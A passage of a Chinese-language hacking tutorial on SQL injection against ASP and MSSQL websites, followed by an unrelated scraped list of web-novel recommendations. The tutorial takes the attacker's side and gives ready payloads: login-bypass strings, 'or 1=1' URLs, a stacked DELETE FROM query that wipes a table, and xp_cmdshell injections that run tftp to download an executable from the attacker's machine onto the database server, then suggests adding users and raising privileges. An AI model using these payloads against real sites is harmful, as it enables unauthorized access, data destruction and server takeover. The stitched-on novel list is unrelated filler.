SQL语句中,轻则获得敏感的信息,重则控制服务器。SQL injection并不紧紧局限在Mssql数据库中,Access、Mysql、Oracle、Sybase都可以进行SQL injection攻击。 这个昨天有提到但不全面今天我特地再说一遍。
SQL injection使得攻击者能够利用 Web 应用程序中某些疏于防范的输入机会动态生成特殊的 SQL 指令语句。举一个常见的例子:
某 Web 网站采用表单来收集访问者的用户名和密码以确认他有足够权限访问某些保密信息,然后该表单被发送到 Web 服务器进行处理。接下来,服务器端的ASP 脚本根据表单提供的信息生成 SQL 指令语句提交到 SQL 服务器,并通过分析 SQL 服务器的返回结果来判断该用户名/密码组合是否有效。
为了实现这样的功能,Web 程序员可能会设计两个页面:一个 HTML 页面 (Login。htm) 用于登录,另一个ASP 页面 (ExecLogin。asp) 用于验证用户权限(即向数据库查询用户名/密码组合是否存在)。具体代码可能象这样:
Login。htm (HTML 页面)
代码: Username:
Password:
ExecLogin。asp (ASP 页面)
代码:
乍一看,ExecLogin。asp 的代码似乎没有任何安全漏洞,因为用户如果不给出有效的用户名/密码组合就无法登录。然而,这段代码偏偏不安全,而且它正是SQL 指令植入式攻击的理想目标。具体而言,设计者把用户的输入直接用于构建SQL 指令,从而使攻击者能够自行决定即将被执行的 SQL 指令。例如:攻击者可能会在表单的用户名或密码栏中输入包含“ or ”和“=” 等特殊字符。于是,提交给数据库的 SQL 指令就可能是:
代码:SELECT * FROM tblUsers WHERE Username="" or ""="" and Password = "" or ""=""
这样,SQL 服务器将返回 tblUsers 表格中的所有记录,而 ASP 脚本将会因此而误认为攻击者的输入符合 tblUsers 表格中的第一条记录,从而允许攻击者以该用户的名义登入网站。
SQL 指令植入式攻击还有另一种形式,它发生在 ASP 服务器根据 querystring 参数动态生成网页时。这里有一个例子,此 ASP 页面从 URL 中提取出 querystring 参数中的 ID 值,然后根据 ID 值动态生成后继页面:
代码:
在一般情况下,此 ASP 脚本能够显示具有特定 ID 值的文章的内容,而 ID 值是由 URL 中的 querystring 参数指定的。例如:当URL为 http://。example。/Article。asp?ID=1055 时,ASP 就会根据 ID 为 1055 的文章提供的内容生成页面。
如同前述登录页面的例子一样,此段代码也向SQL 指令植入式攻击敞开了大门。有些用户(比如我们)可能会把 querystring 中的文章 ID 值偷换为“0 or 1=1”等内容(也就是说,把 URL 换成 http://。example。/Article。asp?ID=0 or 1=1) 从而诱使 ASP 脚本生成不安全的 SQL 指令如:
代码:SELECT * FROM tblArticles WHERE ID=0 or 1=1
于是,数据库将会返回所有文章的内容。
当然了,本例服务器所受的攻击不一定会引起什么严重后果。可是如果我们变本加厉,比如用同样的手段发送 DELETE 等 SQL 指令。这只需要简单地修改前述 URL 中的 querystring 参数就可以了!例如:任何人都可以通过 “http://。example。/Article。asp?ID=1055; DELETE FROM tblArticles ” 之类的 URL 来访问 Web 网站。
但程序毕竟是各种各样的,有些可以通过修改URL数据来提交命令或语句,有些则不行,不能打URL的主意,怎么办呢?通过修改标签内的value的值也可以提交我们构造的语句,SQL injection是很灵活的技术,但我们的目的只有一个,就是想方设法饶过程序或IDS的检测和处理提交我们构造的有效语句。
在大多数ASP站点中,我们并不知道其程序代码,*任何扫描器也不可能发现SQL injection漏洞,这时就要*手工检测了,由于我们执行SQL语句要用到单引号、分号、逗号、冒号和“……”,所以我们就在可修改的URL后加上以上符号,或在表单中的文本框加上这些符号,比如:
代码:
http://localhost/show。asp?id=1"
http://localhost/show。asp?id=1;
……
通过页面返回的信息,判断是否存在SQL injection漏洞,只是最简单的通过字符过滤来判断,根据IIS配置不同,返回的信息是不定的,有时显示
Microsoft OLE DB Provider for ODBC Drivers 错误 "80040e21"
ODBC 驱动程序不支持所需的属性。
/register/lostpass2。asp,行15
有时可能会显示“HTTP 500 … 内部服务器错误”,也可能显示原来的页面,也就是页面正常显示,更可能提示“HTTP 404 – 找不到该页”,判断是否有漏洞就要有个最基本的根据——经验,这个就*大家自己去领悟了。
如果能拿到源代码就更好了,可以通过分析源代码来发现ASP文件的问题,不过这要求有较高的编程功底,最近PsKey就发现了不少程序存在SQL injection漏洞。最近越发的开始崇拜PSkey了
提交数据
我们判断出一个ASP程序存在SQL injection漏洞以后就要构造我们的语句来对服务器进行操作了,一般我们的目的是控制SQL服务器查阅信息甚至操作系统。所以我们要用到xp_cmdshell这个扩展存储过程,xp_cmdshell是一个非常有用的扩展存储过程,用于执行系统命令,比如dir,我们可以根据程序的不同,提交不同的语句,下例语句仅仅是个参考,告诉大家这个原理,实际情况视程序而定,照搬不一定成功,下同。
代码:
http://localhost/show。asp?id=1; exec master。dbo。xp_cmdshell "dir";……
http://localhost/show。asp?id=1"; exec master。。xp_cmdshell "dir"……
正如前面所说,提交这样的信息浏览器会返回出错信息或500错误,我们怎么才能知道执行是否成功呢?isno的办法是用nc监听本机端口,然后提交nslookup命令来查询,我个人觉得有些麻烦,直接用tftp来有多种好处,能知道命令是否成功执行;能获得SQL服务器的IP从而判断SQL服务器的位置;还能节省一些步骤直接上传文件到SQL服务器。利用xp_cmdshell扩展存储过程执行tftp命令,在玩unicode漏洞的时候大家就炉火纯青了吧?列如:
代码:
http://localhost/show。asp?id=1; exec master。dbo。xp_cmdshell "tftp –i youip get file。exe";……
http://localhost/show。asp?id=1"; exec master。。xp_cmdshell "tftp –i youip get file。exe"……
有时提交的数据并不一定起作用,看你怎么绕过程序的检测了,如果幸运成功的话,可以看到tftp软件的窗口出现从本机下载文件的信息了。
对话框中的IP地址就是SQL服务器的IP,可以根据这个IP判断SQL服务器处于什么位置,和web服务器一起,在局域网内,还是单独的服务器,就自己判断了,此知识点不在本文讨论范围内,就此略过。命令执行成功以后,就可以替换单引号中的内容,添加用户、提升权限做什么都随便大家了,不过要看看连接SQL服务器的这个角色是什么组的
小说推荐
- 专业打脸户
- ︱田︱田田╬版 权 归 原 作 者 手机访问 m╮欢迎光临︱田︱田田╬版 权 归 原 作 者╮欢迎光临︱田︱田田╬版 权 归 原 作 者【你的用户名】整理附】内容版权归作者所有=书名[快穿]专业打脸户作者:圆墩墩文案为了拯救男神,姜札穿越到不同的位面中抢夺气运渣男?虐之!白莲花?打之!心机girl?
- 科幻穿越
- 最新章:第68章
- 打造超级农业帝国
- 《打造超级农业帝国》作者:坐吃三空第一章 七彩流星!第一章 七彩流星 第一章七彩流星“混账小子,还反了你了!老子花钱供你上大学,就是不想让你再当农民。你倒好,放着挺好的大城市不待,反倒是想回来种地!老子告诉你,只要老子还活着一天,你就甭做这种梦 林富贵气的不轻,以至于捧着旱烟杆的双手,都有些不由自控
- 都市言情
- 最新章:第275章
- [快穿]专业打脸户
- 书名[快穿]专业打脸户作者:圆墩墩文案为了拯救男神,姜札穿越到不同的位面中抢夺气运渣男?虐之!白莲花?打之!心机girl?无视之!陆离“你玩的挺嗨的样子”姜札(讨好状“离离其实我只想玩你啊。本文须知:1:本文1v1,快穿打脸文,旨在虐渣男以及崩坏世界,请放心食用。2:苏苏苏爽爽爽请自带避雷针。内容标
- 科幻穿越
- 最新章:第68章
- 论一只网红猫的专业素养
- 《论一只网红猫的专业素养》作者:糖醋非鱼文案公主是一只猫。一只网红猫。但是她对自己的名字超级不满意。谁家的正经猫会叫这么挫的名字啊掀桌┻司祁:哎呀我的小公举,你今天还是一如既往的美啊~公主:MDZZ—算了算了,你负责赚钱养家你最大,你说什么是什么,你开心就好。本文又叫《男神是个铲屎官《喵!快来给本宫
- 都市言情
- 最新章:第57章
- 今天开始打职业
- -今天开始打职业[电竞]作者:陆一砂 文案 顾纸重生后,不仅变成了一个网瘾少女,还成了问题儿童 顺利成为职业选手之后,她总觉得自家上单看她的眼神有些不对,让她很方 日常小片段 陆湛:你在干嘛?顾纸:填老婆报名表 陆湛抽过纸一看,眉头一皱:他哪点吸引你了 顾纸拖着下巴思考:一打四反杀一人的时候 过了一
- 都市言情
- 最新章:第141章
- 金牌甜心:打造天团巨星
- 简介:聂闪闪,由于父母在外逍遥快活,不愿意继承家业。所以小小年纪就成了最大的造星工厂‘伯乐影业’的唯一女继承人。爷爷为了培养她的能力,不惜让她‘女扮男装’以吕帅帅的名义混在超人气‘东方神韵‘最强智者’的偶像天团里。悲催的是,当十个大男孩的助理。一比十,这很不公平好不好?157808第1章 女扮男装)
- 其他
- 最新章:第244章
- [电竞]今天开始打职业
- 《今天开始打职业[电竞》作者:陆一砂 文案 顾纸重生后 不仅变成了一个网瘾少女 还成了问题儿童 顺利成为职业选手之后 她总觉得自家上单看她的眼神有些不对,让她很方 日常小片段 陆湛:你在干嘛 顾纸:填老婆报名表 陆湛抽过纸一看,眉头一皱:他哪点吸引你了 顾纸拖着下巴思考:一打四反杀一人的时候 过了一
- 网游竞技
- 最新章:第141章
- 兢兢业业打酱油
- 《兢兢业业打酱油》作者:小黑爪文案当被选中去各个世界打酱油时,庄原同意了。虽然世界里主角最亮眼但没有辣么多的酱油呀路人呀NPC的,世界也是无法构成的好伐。他会做一个非常敬业的酱油,在每个岗位发光发热。只是,有没有人来告诉他为毛他的戏份好像越来越多?这一定是他的错觉吧。1V1,攻从头到尾都是同一个人必
- 激情
- 最新章:第147章
- 打造异界
- 简介:凭借神秘系统打造一个属于我的世界!我叫假正经,我为自己代言!额不对,我叫贾正金.105049第一章 你已经死了)网吧里乌烟瘴气,到处都是放在桌面上的臭脚和烟味。最角落的位置,贾正金死死盯着电脑屏幕,手指灵活地操作键盘和鼠标“贾正金”身后有人拍了拍他的肩膀“等会!没看到我的城堡就要造成了吗”贾正
- 武侠修真
- 最新章:第1812章